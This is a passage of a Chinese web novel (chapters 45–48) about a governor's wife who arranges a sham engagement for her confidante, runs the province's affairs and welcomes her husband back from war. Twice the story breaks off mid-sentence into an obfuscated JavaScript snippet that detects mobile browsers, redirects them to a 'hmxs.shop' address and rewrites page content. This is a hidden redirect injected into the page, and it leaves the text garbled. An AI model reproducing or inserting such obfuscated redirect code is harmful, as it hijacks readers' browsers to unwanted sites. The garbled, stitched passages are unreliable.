得亏官媒的人知道她是总督夫人的身边人,等来等去等不到她有婚配的打算,这才踩着点上门提醒,还没敢把话说太重,全程客客气气的。 再客气,他们也是催婚来的,再给总督府颜面,她也是面临要嫁人的窘境。 夏知霜最近太忙,忘了还有这条律令在。 她放下茶碗,这事儿还真有点棘手。 原本她已经为彩玉做好了别的打算,但刘宁在时才好发挥,她跟刘宁说一声就行,让彩玉户籍上挂个已婚。就算被别人发现,顶多认为她“吹了枕边风”,没人会捅到正统的总督大人面前。 偏不巧,她此刻手握大印,罢官风波时得罪了一些派系,多少人盯着她的一举一动,恨不得揪住她的错处大做文章。 她若是在此事上公然徇私,有损好不容易建立起来的威信,可能还会连带刘氏的名声有瑕。 夏知霜拿不准主意,去问了鲁元,看他有没有好点的办法。 鲁元眉毛都不动一丝,十分果断:“好办,叫彩玉姑娘找个信得过的人,跟他定下婚约,随便寻个由头一而再,再而三的推迟婚事,官媒不能拿他们怎样。” 只要推迟的理由站得住脚,两个人继续维系婚约,百姓没有话说,官媒看在总督署的面子上,也不会拿他们怎么样。 反正就是拖字诀,等彩玉找着合适的人,直接嫁了就没事了。 夏知霜沉默了下,有个问题很想问。 那普通百姓呢?他们若是有各种原因不想嫁娶,能用这种办法巧妙逃脱吗? 答案呼之欲出,官媒又不是瞎子,他们放任彩玉拖是看她的面子,别人岂有这个待遇? 律法对于高位者而言,有施计脱离的选择,真正受到约束的是黎民百姓,平民还坚信着贵人和他们一样受到约束。 夏知霜不甘心地问:“没有更好的解决办法吗?还有那个寡妇两年需再醮的规定……” 鲁元明白她的未尽之言,复杂看她一眼:“夫人,你也知道,我们观东人丁不旺。” 所以年满二十的女子必须要出嫁,没有子嗣的寡妇需要再醮,观东需要源源不断增长的人口。 她身为上位者,还是主宰一方的总督的夫人,更该跳出百姓的思维,抛却过多的仁心,为观东考虑,为大局着想。 夏知霜抿唇未言,陷入了自我挣扎之中。 她想起了久远的一件事,跟刘宁去参观他们在建的墓地那天,刘宁随口说过一句话:建造陵墓的人大多是聋哑人。 那时她就很想问,那些人是天生聋哑么? 她忍住了没问,因为答案其实在她心底。建陵人少说数千,观东哪来那么多天生聋哑的人,而且不是每个天生聋哑的人都有资格去建陵。 那天埋在心底的疑问是个蠢问题,今天问鲁元的问题也是蠢问题,起码在别人看来是这样。 鲁元刚刚回答她时的表情,明显写着“你别天真了”五个大字。 可是她不确定了,她的心软,真的是错误的吗? 夏知霜心想,她更深的体会到刘宁彻夜失眠的原因了。 身为上位者,他们多余了仁慈。 46. 第 46 章 最终,夏知霜采纳了鲁元的建议,彩玉自己找准了人选,迅速和一个家道中落的青年缔结婚约。 彩玉选中的是戚家,她和戚家小辈戚泉因缘际会,有过互帮互助的情谊,算是关系不错的朋友。 戚家本是望族,从上一代开始衰败,树倒猢狲散,现如今的戚家不过寥寥几人,族人把全部的希望压到这一代的戚泉身上。 戚泉满腹诗书,奈何时运不济,他无法独身上京科考,族中也没钱捐官,还要照顾重病的父亲,错过了聚贤庄的招纳。 他原无心婚配,可弥留之际的老父唯一的心愿就是让他成家,这可愁坏了他。 他们家说好听点是家道中落,说难听点是穷困潦倒,况且戚家是被政敌迫害至此,高门贵女不可能下嫁,富家千金避之不及,平民女子生怕被连累。 事无绝对,看上他的不是没有,但…… 从良女子贪慕他年轻俊俏,媚眼一抛:客官~啊不对,公子~人生苦短,及时行乐呀。这么着吧,你免聘礼嫁妆我自带,咱俩赶快歇息,生他八九十个娃,啊? 戚泉摇头如拨浪鼓,十分感动的婉拒了。 带二娃寡妇图他精壮□□,热情似火:都说女大三抱金砖,郎君啊,介意抱五块“金砖”不? 戚泉不发表个人看法,含蓄的表示他父亲大概、也许、可能会有点介意。 高不成低不就,说的正是戚泉婚事的尴尬现状。 他本人倒无所谓,反正他还年轻,主要是想圆一圆老父亲的心愿,哪怕是善意的谎言。 戚泉在买米时长吁短叹,遇上巡视米铺的彩玉,故友相逢免不了寒暄一二。 她那时也为婚事愁眉苦脸,冲她和总督署关系来的众多追求者对她围追堵截,令她不堪其扰,有时男人们还在店里攀比打闹影响生意,她烦都烦死了。 拥有共同烦恼的两人一合计,这不巧了不是! 双方一拍即合,当天就去官媒衙门落定婚盟,明示官媒不要再三催四请,她已经有未婚夫了。 官媒虽觉得速度那么快有点蹊跷,但什么都没说。彩玉公认是总督夫人的心腹,她近年俨然成了观东数得上号的人物,这桩婚事无人敢跳出来反对。 于是二人先定亲,彩玉身份非比寻常,戚泉对外说不想委屈她,要竭尽所能大操大办婚礼,这么一来能拖上不少时日,少说能多争取半年光阴。 戚父病入膏肓,撑不到他们真正成亲的日子,临终前得知儿子即将娶媳妇,也能含笑九泉了。届时戚泉以守孝为由推迟至少两年的婚期,两年之后再随便找个理由继续推迟即可。 当然,本质上这是一桩各取所需的假婚约,他们没有告诉太多人。 无奈彩玉的身份太惹眼,她和戚泉的事还是渐渐传开了,顿时流言纷飞。 有说戚家鸡贼,快要衰亡时努力攀上了高枝,可能会东山再起。 有说某某公子(追求彩玉的名人)伤心欲绝,几度寻死,死前闹着要见心上人一面。 此类种种,不一而足。 夏知霜翻阅千丝台交上来的档案,戚泉此人目前没有污点,孝顺,脾气好,有学识,敬师长,懂上进,不爱涉足烟花柳巷。 说来也巧,她前段时间罢官的那些人,恰是戚家老对头的派系,如今戚家的政敌是鱼溃鸟离??,自顾不暇。戚家今后不会再受到威胁打压,若戚泉真有出息,东山再起不无可能。 总结,戚家小子是支不错的潜力股,就算是名义上的亲事,这个人选也没有辱没彩玉。 夏知霜收起档案,再次确认:“你可想好了?你们定了亲,待戚老故去,你就得跟着素居,若你期间遇到别的中意的人,孝期内也不能跟他退婚,于你名声不利,现在后悔,解除婚约还来得及。” 满打满算,两三年内她都得跟戚泉绑在一起,再碰到别个喜欢的人,不知对方愿不愿意等她三年。 彩玉语气很随意:“我无心风月,你担心的事不会发生。我不会后悔,叫我碰上正正好的这人解我的难题,我感谢老天还来不及。” “休要着急定论,缘分之事很难说,”夏知霜打趣道,“或许你和戚家小子日久生情,假戏真做呢?前阵子看的戏有一出讲的跟你们很像。” “世上哪来那么多像戏文里的故事?”彩玉白她一眼,满不在乎,“我到里兴不久就跟他认识了,要生情早就生了,岂会等到现在。” “有句话怎么说来着,情不知所起,一往而深。”夏知霜掩嘴笑。 骆怡忽然从房梁上吊下半个身子,促狭笑说:“对啊,以前你们不过交情泛泛,往后你们少不得常来常往,一来二去,擦出花火也未可知啊。” “哪里的鸟儿叽喳喳,烦人。”彩玉拾起桌上的果子掷去。 骆怡张嘴衔住果子,偷笑地缩回梁上,咔嚓咔嚓吃得开心。 夏知霜笑看她们打闹,拐回正题:“左右是你自个的终身大事,你觉得满意,那就随你的愿。” 彩玉淡淡一笑,从随侍的月樱手上接过裘衣给她披上,絮絮叨叨个不停。 “还有闲心关心我呢,大冷的腊月天,不见得你裹暖些。好好爱惜身子,争取早些给咱们诞下个小世子,这才是咱们的顶头大事。” 关切的话语透着另一个意味,夏知霜和她碰了个眼神,眉眼染上少许怅然。 彩玉这话关心是真,提醒她亦是真。 虽说她今时贵为总督夫人,可是膝下空虚,还不能说完全立得住脚,哪天她生下刘氏嫡子,才算拥有了底气。 她们一路艰辛,好不容易走到今天这个地步,实在不愿功亏一篑。 送走彩玉,夏知霜望着窗外的枯枝出神。 此前,她觉得自己才二十岁,还很年轻,有孩子固然好,没孩子也并不着急。 刘宁和她对子嗣的态度一致,秉持着顺其自然的想法。 夫妻两人长久的在一起,早晚都会孕育子嗣,但计划赶不上变化,朝廷的凋令让他们夫妻分隔两地。 战场凶险万分,刘宁安然归来还好,万一…… 不是她咒刘宁有什么不测,而是他实际上无时无刻不面临着危险,如果他真的回不来了,底下的官员可就从绵羊变成饿狼了,她一个无依无靠的弱女子,百分百是被叛臣拿去祭旗的下场。 如果有孩子傍身,官员们多少忌惮孩子身上流淌的刘氏血脉,轻易不敢反叛。哪怕有人反叛,绝对会有人拥护她和孩子。 夏知霜深深叹气,归根结底,还是她没有根基。 ……还是得要有个孩子。 她想要个孩子为自己的将来打算,也是为观东的未来打算,刘氏有无子嗣,关系着四郡安不安稳。 打定主意后,夏知霜忽然很期盼,期盼着孩子的到来。 尤其是几日后,梓渊关回的一车年礼中所携带的信件上,许英慈汇报了已怀有三个月身孕的好消息,她就更想有个孩子了,不单单是为了巩固地位,也是为了圆刘宁的“金屋藏刚”的女儿梦,更是想要延续自己的骨血。 不过这种事急也急不来,年关将至,刘府免不了人情送往,正是她一年当中最忙碌的时候。 给许英慈回了道贺的信件和礼物,夏知霜投入到繁忙之中。 经过上一年手忙脚乱得来的经验,加上有月兰等人帮忙回复信函,章氏和尤氏替她初步拟定各家礼单,今年她能松快些了。 即便如此,夏知霜每天的日程都安排得满满当当,今儿在府中接见到访的夫人团,明儿到某某去家赴宴,每天固定时间到总督署点卯,常常与傅杭和鲁元议事到深夜。 杂七杂八的琐事加身,好不忙碌。 其它杂事可以适当减免,唯有一项不能糊弄了事,那便是走访留守的将门家眷。 他们的丈夫、儿子和父兄在外征战,生死不明,每逢佳节,特别是过年这种大节,留下的老弱妇孺孤孤单单、冷冷清清,这种时候就需要她前去探望一二,宽慰宽慰他们的心。 夏知霜没有忘记那些丈夫牺牲在沙场上的寡妇,这些人家的礼往往要厚上三分,她亲自过问他们孤儿寡母生活上的细节,比如抚恤金能不能按时领到,平时有没有困难等等。 闲暇之余,她备了另一份礼送到青阳城的陈府去。既担了个“孝”名,对陈家的几位姨娘就不能太忽视。 灾区那边也不能落下,重建十几万人的家园是个大工程,而且人力有限,只能分批安排灾民入住新家,目今尚有三分之一的灾民还住在安置区。 夏知霜叫人送了很多物资过去,好让滞留安置区的百姓们能过个好年。 然,刘宁带着万家男儿在外打仗,观东今年又遭天灾,这个年注定 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迫不及待拆开,看到熟悉的飘逸字迹时,她狠狠舒了一口气。 信上说,他难眠的夜里常常离了营帐吹埙,每当沐浴着银色的月芒吹曲,仿佛和她欣赏着同一轮皓月,好似她就在身旁,思念之苦稍有缓解。 表达完思念,刘宁说些军营里的趣事调剂气氛。 他写信的风格一贯是报喜不报忧,她无法从中提取到多少战局上的信息。 看完最后一封信,落款的时间在去年的十一月底,距离当下过去了整整两个月,夏知霜又提起了心。 万幸她还没有担心太久,远方频频传来捷报。 ——木昌国陷入苦战。 ——木昌国自乱阵脚,名将叛离,带兵归顺淇南平王。 鲁元把军报递给她,一副意料之中的神色,话里带着喜色:“我军即将凯旋。” 夏知霜仔细阅览战报,只见上头清一水的捷报,已经攻下木昌首都,她心里有了底,不由得跟着笑了。 果不其然,三月初,观淇大军所向披靡,木昌国投降了。 此事传到观淇九地,人人喜笑颜开,自是锣鼓喧天的庆贺了好几日。 夏知霜拿不准他们是班师回观东,还是继续攻打其他地方,她特意去问了鲁元的意见。 鲁元一改成竹在胸的姿态,往淇南的方向指了指,低叹:“这得看那边的意思。” 她紧紧蹙眉:“我明白了……” 倘若平王对朝廷唯命是从,出于朝廷利益最大化的考量,那就会按照圣旨的指示接着打。 假如平王盘踞淇南日久生了私心,不甘做昏君的马前卒,便会找个理由休战,养精蓄锐再接着打,如此才不会伤及淇南的元气。 天高皇帝远,只要平王是真心想休战,有的是理由堵住朝廷的嘴。 平王微生湘阴晴不定,夏知霜和鲁元猜不透他的心思,他会作何选择,实在难以预料。 私心里,她非常希望休战。 一天不出结果,她和万千等待亲人归家的子民一样辗转难眠。 毫无睡意的深夜,夏知霜尝到了何为蚀骨的思念,她反复翻看刘宁的信,读到动人的段落,心间似淌了蜜。 她拢紧貂毛披风,走到窗前看天际的弦月,幽幽吹奏玉笛,眉宇尽显哀愁。 ——季安,你一走九个月,在外是否安好?今下是否也像你信中说的那样,遥隔千里同享此月呢? 同一时刻,淇南双饶郡,焉州平王府。 微生湘和刘宁悄然抵达府邸,二人车马劳顿,又是三更半夜,暂且先好好休息一宿,明早再议事。 王府不是第一次接待刘宁,总管叫人带刘宁去他旧时常住的院子,按照最高规格的礼仪去接待。 微生湘喜洁,归府的第一件事便是把心爱的红缨枪亲自放回架子处,第二件事才是沐浴更衣。 去温池的路上,他料想着刘宁在外几个月愣是不近女色,定是憋狠了,他唤来总管,体贴吩咐:“给观东侯送几个美貌雏妓过去。” 总管笑答:“王爷放心,属下都安排妥当了。” 月上中天,乌云蔽日,夜里下起了淅淅沥沥的春雨。 47. 第 47 章 翌晨,天色未亮,微生湘准时睁眼,纵是批阅积累的公文至五更,拢共只歇了一个时辰,仍是雷打不动的在卯时二刻清醒。 他在军营待惯了,不大爱用人伺候,起身穿衣洗漱,惯例到院子练枪半个时辰。 活动开了筋骨,微生湘收好心爱的长枪,净手净面,随口问随侍在旁的长史:“观东侯可歇好了?” “观东侯歇醒约有两刻钟了,这会儿在给侯夫人写信,”长史如实禀告,“昨夜观东侯把咱们送去伺候的人客气的赶走了。” “哦?”微生湘接过侍女浸过热水的巾帕擦脸,语气相当讶然。 长史等了又等,觑见他若有所思,没等来什么下文,捧接他用罢抛过来的帕子。 微生湘叫人把早膳传到客院,迈开四方阔步,施施然朝西而去。 一应仆从赶忙小跑跟上。 他到客院的时候,刘宁正望着一面帕子出神,嘴角挂着柔和浅笑。 那帕子普普通通,竹叶走线呆板,无甚特别之处,不及王府绣娘随手之作。 微生湘带着了然的笑意,率先出言:“世兄,昨晚可曾歇好?” “劳贤弟记挂,甚好。”刘宁折好手帕,笑意不减。 “不日便回,何须睹物思人。”微生湘好笑的调侃。 “内人拙技,让阿潮见笑了。”刘宁将帕子收回怀中,幽幽轻叹,“离家日久,归心似箭,借物排解苦思罢了。” 微生湘抬手请了一杯茶,言语中颇具欣赏。 “嫂夫人确是难得的贤内助,七月洪灾突如其来,观淇九地同遭横祸,多亏嫂夫人送来治疫良方,我淇南众多子民方幸免于难……那般聪慧的女子,不怪兄长这般惦念。” 换作别人说这话,刘宁会客气的谦虚几句,说这话的人是他感情深厚的发小,他便不加掩饰,笑得愈发温柔。 “实不相瞒,我未曾料想到内人事事料理能这么妥帖。娶得如此兰心蕙质的贤妻,是愚兄三生修来的福气。” “英雄当配美人,你与嫂夫人实是天作之合啊。”说到话尾,微生湘心思转了几个弯,不易察觉的带着一抹酸气。 刘宁笑着道了声多谢,便垂首收拾案上散乱的公文。 里头不知有无秘密信函,微生湘很有涵养地转身,逗弄暖房烘出来的鲜嫩花蕊。 表面一派悠闲写意,其实越想他心中越失衡。 水灾的详情定期汇报到前线,他和刘宁虽身在异地,各自都能收到家乡的情报。 两地为邻,有了对比,难免觉得不平。 观东这次应对天灾十分得当,在疫病防护上具有前瞻性。那夏氏冰雪聪明,是个能拿主意的人,加上军师鲁元尽心辅佐,将四郡的伤亡控制到最小,甚至是历次同等级水灾中受损最轻。 而淇南与之接壤,受灾程度差不离,伤亡却是观东的七八倍! 倒不是观东藏私,夏氏早早命人把救灾经验传授到淇南,匀了几车药材过来。 淇南由他的军师古熠镇守,古军师为人谨慎,不敢擅自做主,每逢大事必先禀告他,得到他的首肯才会行令。 此番正是在灾区和前线的来回传信中,错过了仿照隔壁救灾方式的最佳时机,数十万百姓流离失所…… 待他下令把救灾事宜全权交给古军师,淇南刚开始走赈灾的流程,观东四郡在夏氏的带领下已经如火如荼的重建城镇。 树挪死,人挪活。 很多淇南灾民不辞辛苦长途跋涉,一批批逃往就近的观东安置区,挣个遮风避雨的安身之所,领一份温饱的救济粮和御寒的粗衣麻布。 据闻夏氏来者不拒,放声而言:“观淇互为友邦,不分彼此,九地百姓往来通婚,亲如一家。如今天降横祸,理该互帮互助,你们来了且安心暂住,待家乡重建随时可以返乡。” 她原本贤名在外,经此救灾有功,又慷慨解囊重建万千灾民的屋舍,现今可谓家喻户晓,民心所向。四郡官员一方面忌惮她手中的总督印,一方面不敢逆着民意跟她对抗,她的命令称得上一呼百应。 上行下效之故,观东灾民应有的待遇,淇南逃去的难民通通都有份,绝无厚此薄彼。 难民有暖食裹腹,有良药治病,还有人介绍他们去往各个店铺做帮工,今后的生计有了着落,焉会重返故土? 这是明目张胆的抢人! 但是淇南救灾确实慢人两步,亦是淇南的难民自行逃到观东,古军师没办法拿这事去找人说理。 他们怪不了难民,淇南迟迟不开仓放粮,放了也是杯水车薪,不跑难道活活饿死? 他们更怪不了观东,平王府和总督署打出“相亲相爱”旗帜几十年了,倘夏氏不善待淇南难民,等待她的将是口诛笔伐,古军师更不能用这个理由苛责她。 真要算起来,人家宽待他们的子民,他们反而还得捏着鼻子道声谢。 什么?拿人家聘请他们子民为饵诱骗他们留在观东帮工的事前去质问? 一来,没有确凿的证据。二来,雇佣难民的人是商户,问就是民间的自发行为,跟观东官僚没干系。三来,难民吃饱穿暖还有工钱拿,问十个有十一个说是自愿。 这哪能掰扯得清啊。 夏氏出的这一招阳谋,古军师无计可解,微生湘再有通天的本事,眼下木已成舟,他无力回天了。 能娶到这么心思敏捷、敢想敢为还仙姿佚貌的妻子,真是顶好的福气。 他倏然有点羡慕刘宁碰上了千载难逢的好运。 并非是馋夏氏的美貌,淇南不缺绝色,他羡慕的是对方得到了观淇有名的富户,还是愿意散出私财给百姓建设家乡,不遗余力襄助丈夫的首富。 都说为富不仁,那小女子却不是如此。 微生湘眸色转深,假如是他先碰上了她,那今时观东的盛景岂不是换到了淇南这边…… 指腹有股不舒适的粘腻,他眼睑半垂,后知后觉方才手上一个使劲,粲然盛开的春兰被摘掉了花箭。 呵,想这无用的做甚。 微生湘心底自嘲笑笑,听到刘宁收拾得差不多了,转身时云淡风轻,翩翩摆手:“四表兄饿了吧?这边花厅用膳。” “好怀念的称呼,记得你十岁后觉得羞人,再不肯这么叫愚兄了。”刘宁笑着同他往外走。 那时微生湘突然改了称呼,心情好叫“季安兄”,心情欠佳叫“世兄”。正是那段时间刘宁发觉他变了,二人也疏远点了,不复幼时的两小无猜。 虽不知微生湘因何变故改了性,但想来跟乱了纲常的老平王脱不开关系,对方不提,他不好追问揭人伤疤。 今日今时,得他重唤一句儿时的“四表哥”,刘宁喜不自胜,仿若两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759026|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人之间的隔阂跟着淡化了。 刘宁拍上他的肩,释然道:“也罢,咱们流着相近的骨血,阿潮喜爱怎么叫都行。” 微生湘笑而不语,唯有他心底清楚,重提久远的、携上亲缘关系的称呼,是为了提醒自己:不可念兄妻! 他摒弃杂念,回揽刘宁的肩膀,眼底的笑意多了几分情真意切:“薄酒数觞,畅饮几番?” 刘宁略一思忖,含笑婉拒:“稍后还要与两边的幕职议事,携着酒气总归不好,晚膳再奉陪到底。” 先不提他没有清晨饮酒的习惯,他恪守父兄定下的规矩,不能带酒气去商议家国大事,再者醉酒容易误事。 微生湘不在乎那些劳什子规矩,淇南是大块吃肉、大碗喝酒的豪放风气,不过他是个听劝的人,且十分尊重对方的意愿,点头说:“好,一言为定。” 兄弟俩说说笑笑进了花厅。 二人约好了不醉不归,然而刚进书房没多久,千丝台加急的一纸情报送至杜川手中,杜川急忙奉到书房中。 刘宁、微生湘和双方的幕僚对着从天而降的坏消息,陷入了长久的焦思苦虑之中。 谁都顾不上饮酒取乐,饭桌上仍在谈论着公事。 刘宁原定暂留两三日,延长至三五日。 墨同郡,里兴县。 夏知霜了收到丈夫归来的确切日期,在陪着官眷们拜佛跪道,烧香祈福。 烧香拜佛是官眷们最时兴的活动,以她当前的身份,本不需亲自出远门到寺庙去上香,或是月兰代行,或是各家和尚跟道士争抢着要到里兴来做法事。 直到她得知无论是平民还是官宦都普遍迷信,她就丝滑融入,当作是出去散散心,跟随官眷们走一走各家寺庙。 打仗时,她们要去拜一拜,请求上苍赐予观东战士所向披靡的神力。 战况胶着时,她们也要动员某个道观、某个寺庙做法事,祈求神灵护佑观东安泰。 打了胜仗,她们还要再跑一趟还愿。 如果只是这种程度倒还好,算作求个心安,有个精神寄托不算什么大事。 但是很多民众生了病不赶快去看大夫,反而去寺庙跪求神灵的帮助,不好好喝正经的药汤治病,花重金求购妖僧妖道口中包治百病的观音水和符水。 那些乱七八糟的东西喝下去当然没用,之后才是重点,妖人借口说病人业障缠身,须做法化解。 病人散尽家财献上千金,若是小病自愈了,便是“神佛慈悲”,若是大病恶化,到头来只换到一句“你前世积孽过深,神佛难救,下辈子好生为人吧”。 简直是谋财害命! 夏知霜回想被扶微观坑进陈家经历的种种磨难,愈发恼火,还没想好怎么收拾那帮草菅人命的混蛋,就收到了刘宁的来信。 焉州到里兴日夜兼程的快马要六七日的路程,信使只慢一两天,算了算时间,信件送到她手中后,说明刘宁至多两天到了。 夏知霜喜出望外,其他事都放到后头,她和鲁元支会过后,在城外弄了个迎接大军的仪式。 观东今年又是打仗,又是经历天灾,收成随之减损,民间已经萎靡了太久,正需要一场庆典提升斗志和气势。 彩玉收到命令后,惠生米行等折价出售,为期三日。 三月十六这天,刘宁等人平安抵达里兴。 48. 第 48 章 观淇乌衣甲一部分在城外驻扎,一部分暂回原驻地戍守,汪晁继续带兵回彤州,跟随刘宁回来的只有段敖等几位小将。 一小队人马风尘仆仆,低调进入里兴。 夏知霜精心打扮过,早早和鲁元候在城墙上翘首以盼。 终于等到远远见一匹白色骏马打头,二人心中一紧,她大步往前张望,衣袂近乎贴着城墙。 鲁元有轻微的眼疾,瞧不太清楚,问旁边的吕麟:“那白马可是昼云?” 昼云是刘宁的新坐骑,昼雪死在三扬县后,他择中了另一匹白马作为战马。 吕麟笑着要答,同为幕僚的张廷先一步喜道:“是,那正是昼云!” 昼云在前,领头之人必是刘宁无疑,悬着的心总算落回了实处。 鲁元转头向夏知霜道喜,一看前头哪还有丽人的踪迹,他探身复望城下,果见一袭婀娜倩影。 夏知霜认出刘宁后第一时间下城墙,快得月兰等人都没反应过来。 鲁元等人也坐不住,乌泱泱一群人赶忙追过去。 骏马飞驰,眨眼近至城门。 刘宁远远眺见佳人迎来,他轻拽缰绳,昼云按照指令缓步而行,免得飞速的马蹄会扬起尘沙拂到爱妻。 城门卫上前跪迎,他单手翻身下马,缰绳抛向身后,紧随的杜川利落接住缰绳,牵走昼云。 刘宁阔步向前,离得近了,夏知霜才发现他右手吊着裹伤布,她怔了怔,担心的又疾步迎过去。 夫妇俩心有灵犀般的提速奔向彼此,底下的人纷纷回避。 城墙根站着几百号人,鲁元捻着胡须老神在在,幕僚们和一众文官看天瞧地,月字辈的三个丫鬟低眉敛目。 杜川时而摸摸昼云,时而轻抚自己的坐骑,后到的段敖等人在他旁边下马,平素五大三粗的将军们此时都很有眼色,一个个低头整理自己的刀剑和衣饰,硬是给自己找点事情做。 也有那按耐不住好奇的人,萧敏心不在焉地擦拭着宝刀,余光瞟向久别重逢的小夫妻。 “夫人,我回来了!”刘宁眉目柔和,快走几步跟她汇合。 夏知霜哽咽着应了声,移目他被吊的胳膊,想要查看他的伤势,又不知从何下手,红着眼眶急声问:“这是怎么回事?还疼不疼?路上换过药没有?伤及骨头了么?” “你一下子问这么多问题,我不知从哪里答才好了,”刘宁浅浅而笑,携她往回走,“你莫担心,我无甚大碍。” 夏知霜迟疑着点了点头,目下不是说话的时机和地点,只得暂时压下忧虑。 随他转身后,她神态如旧,处之泰然。 段敖等人这才结束装傻,阔步跟随。 鲁元这边也无须回避,文官们刷啦啦迎上去行礼:“恭贺主君凯旋!” 刘宁虚扶鲁元:“军师免礼,”再向乌泱泱跪拜的官员抬手,“诸公请起。” 众文官依言起身。 段敖为首的武将赶上来站到刘宁身后,他们对鲁元拱手行礼,鲁元轻轻颔首致意。 刘宁面容肃然:“我离多时,观东四面楚歌,仰赖军师与诸公撑扶了。列位皆是功臣,请受宁一礼!” 说着他就要扶着伤臂屈身。 他是观东的总督,是四郡的天,下属官员自然不可能真让他纡尊降贵的给他们行礼。 官员们急忙侧身避开,鲁元站上前托住刘宁:“主君!万万使不得!” 他目光移到刘宁裹得紧实的胳膊,虽料到了是怎么回事,仍是含着热泪郑重地说:“食君之禄,忠君之事,下臣所行所举乃天经地义,当不得主君大礼。况且主君和众将军护卫观东九死一生,今负伤凯旋,实乃四郡之英雄,下臣铭感万分,惟愿主君贵体康泰!” 语毕,鲁元带头又结结实实行了一礼,文官武将随之效仿。 一旁的夏知霜打眼看去,叹服了,别管他们心里怎么想的,那表情和眼神真挚孺慕,活脱脱是一群可堪流芳百世、名垂千古的忠臣模样。 她还看到有人用衣袖擦眼角了,那眼睛红得跟小兔子似的…… 要不是夏知霜知晓那人欺压黎民、贪腐成性,快把“爷当官只为捞钱”几个字戳在脑门上,她都快信了他多么忠军爱国。 这一个个都是奥斯卡影帝啊。 另一个影帝也不遑多让,刘宁一副非常感动的神情,欣慰地环视下臣。 动容过后,他没把功劳全往自己身上揽,正色道:“此番得胜,多亏将士勇武,更离不开军师送至前线的妙计。军师前可助我退敌,后能镇守四郡,居功至伟,真是天赐我观东的大才啊!” 鲁元得他如此当众夸赞,心中虚荣得到了极尽的满足,自是满面红光。 他欣喜之余,明白主君此言是抛砖引玉的话头。他飞快抛给刘宁一个“主君你放心,我懂,我非常懂”的眼神。 鲁元半是投桃报李,半是真情实感地夸赞:“下臣愧不敢当,主君在前线保家卫国,恐有所不知,观东在七月汛期遭遇洪涝,是夫人调人配物,救灾及时;灾后疫病四起,夫人下令严加防护,阻止疫病传播,且命郭家大夫研制良方,挽救了数万病患;要论有功,夫人才是如假包换的有功之人。” 张廷马上附和:“夫人数度解救观东于危急,四郡今日的安稳,夫人实实功不可没呀!” 鲁元在观东的地位自不必说,那是二人之下万人之上。张廷也是刘宁的亲信,他们都带头这么说了,其余官员怎会扫兴?连忙七嘴八舌夸起总督夫人的好来。 一时之间,夏知霜被吹得天花乱坠,而她本人始料未及。 夏知霜原先把舞台留给他们,安安心心当个镶边配角,含笑观望他们君臣融洽的“感人”场面,此时见所有人的目光陡然落到自己身上,她眨了下眼睛,自嘲她这个壁花配角还挺重要,居然还有台词。 不站出去谦虚两句就不符合画风了。 然而还没待她开口,刘宁已然牵过她的素手,温情脉脉地说:“此事我亦有所耳闻,得此贤妻,天佑观东。” 登时有官员快速接话。 “主君英武,夫人贤德,天佑观东。” “天佑我观东!” “天佑观东!” 夸耀之词如潮水从四面八方涌来,夏知霜仍在状况之外,不是,她怎么忽然从配角变主角又变配角了呢? 不过她深知一点,刘宁在当众给她正名,顺便镀了一层金。 ——她所言所行都是正确的,他完完全全站在她这一边。 今天之后,总督署不会再有弹劾她借用总督印滥用职权的文书,那些被罢官的人不敢再按照原计划围堵刘宁自陈冤枉。 他简单两句话,规避掉了后续的很多麻烦。 夏知霜心中最深处的担忧和不安不翼而飞,信上他说他支持她的一切决定,但实际怎么想的不得而知,现在她才能确定他是真的不介意她频繁动用大印。 心里这么想着,她不自觉的扑闪着眼睛看他。 刘宁含笑回望,目光要多温柔有多温柔。 明明什么都没说,什么也没做,他们仅仅是对上视线,就泛着一种很甜蜜的氛围。 其他人再次低首敛目,假装脖子好酸,眼皮好重。 还好他们夫妇都不是会当众肉麻的人,成婚以来,刘宁唯有成亲的次日按耐不住情意,顾不上仆从在场就轻啄她面颊,那还是在自家宅邸。此后不管俩人私底下多么恩爱,在人前时他给足她尊重,不怠礼冷落,不过分黏糊,让她“总督夫人”的威严日积月深。 所以甜蜜氛围只持续了数息。 刘宁牵着她打头,领着长长的文武官员入城。 早有百姓通过他们鼓弄的阵仗猜到今日总督归来,刘宁十分得民心,前阵子夏知霜的行事又让他们夫妻声望极速攀升,民众自发汇集而来,热烈迎接他们的总督凯旋。 笙竽声振林木,鼓锣响彻云霄,歌声与欢呼交织成动人的乐章,人们手中等待献贡的鲜花美酒的芬芳传出大老远。 这万人空巷的盛景是属于胜利者的赞歌,属于英雄的荣耀。 夏知霜被刘宁带着走在垫了黄土的宽阔过道上,配合他不时微笑着回应路边的人,一起迎接两旁黎民百姓激动的赞美。 “总督回来了!” “是总督和夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763303|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人!” “总督英明神武,夫人淑质贞亮,观东之福,四郡之福!” …… 过道很长,聚集而来的百姓很多,鼓乐和欢呼不曾停歇,无不是为人群焦点的小夫妻而欢庆。 本是欢迎刘宁的隆重仪式,独角戏不知不觉演变成了两个人的舞台,说实话,站在云端受人追捧和敬爱是很美妙的滋味,夏知霜很享受当下的氛围。 听着人们不吝啬的赞美,她心里涌起了万丈豪情,心里更是像泡了蜜糖一样甜。 刘宁顺理成章的带她同享百姓的推崇,沐浴元元之民的敬仰。 他说过彼此是彼此唯一的亲人,光辉也好,掌声也罢,他愿意毫无保留的分与她,时至今日,他用行动证明了他并非逞口舌之快。 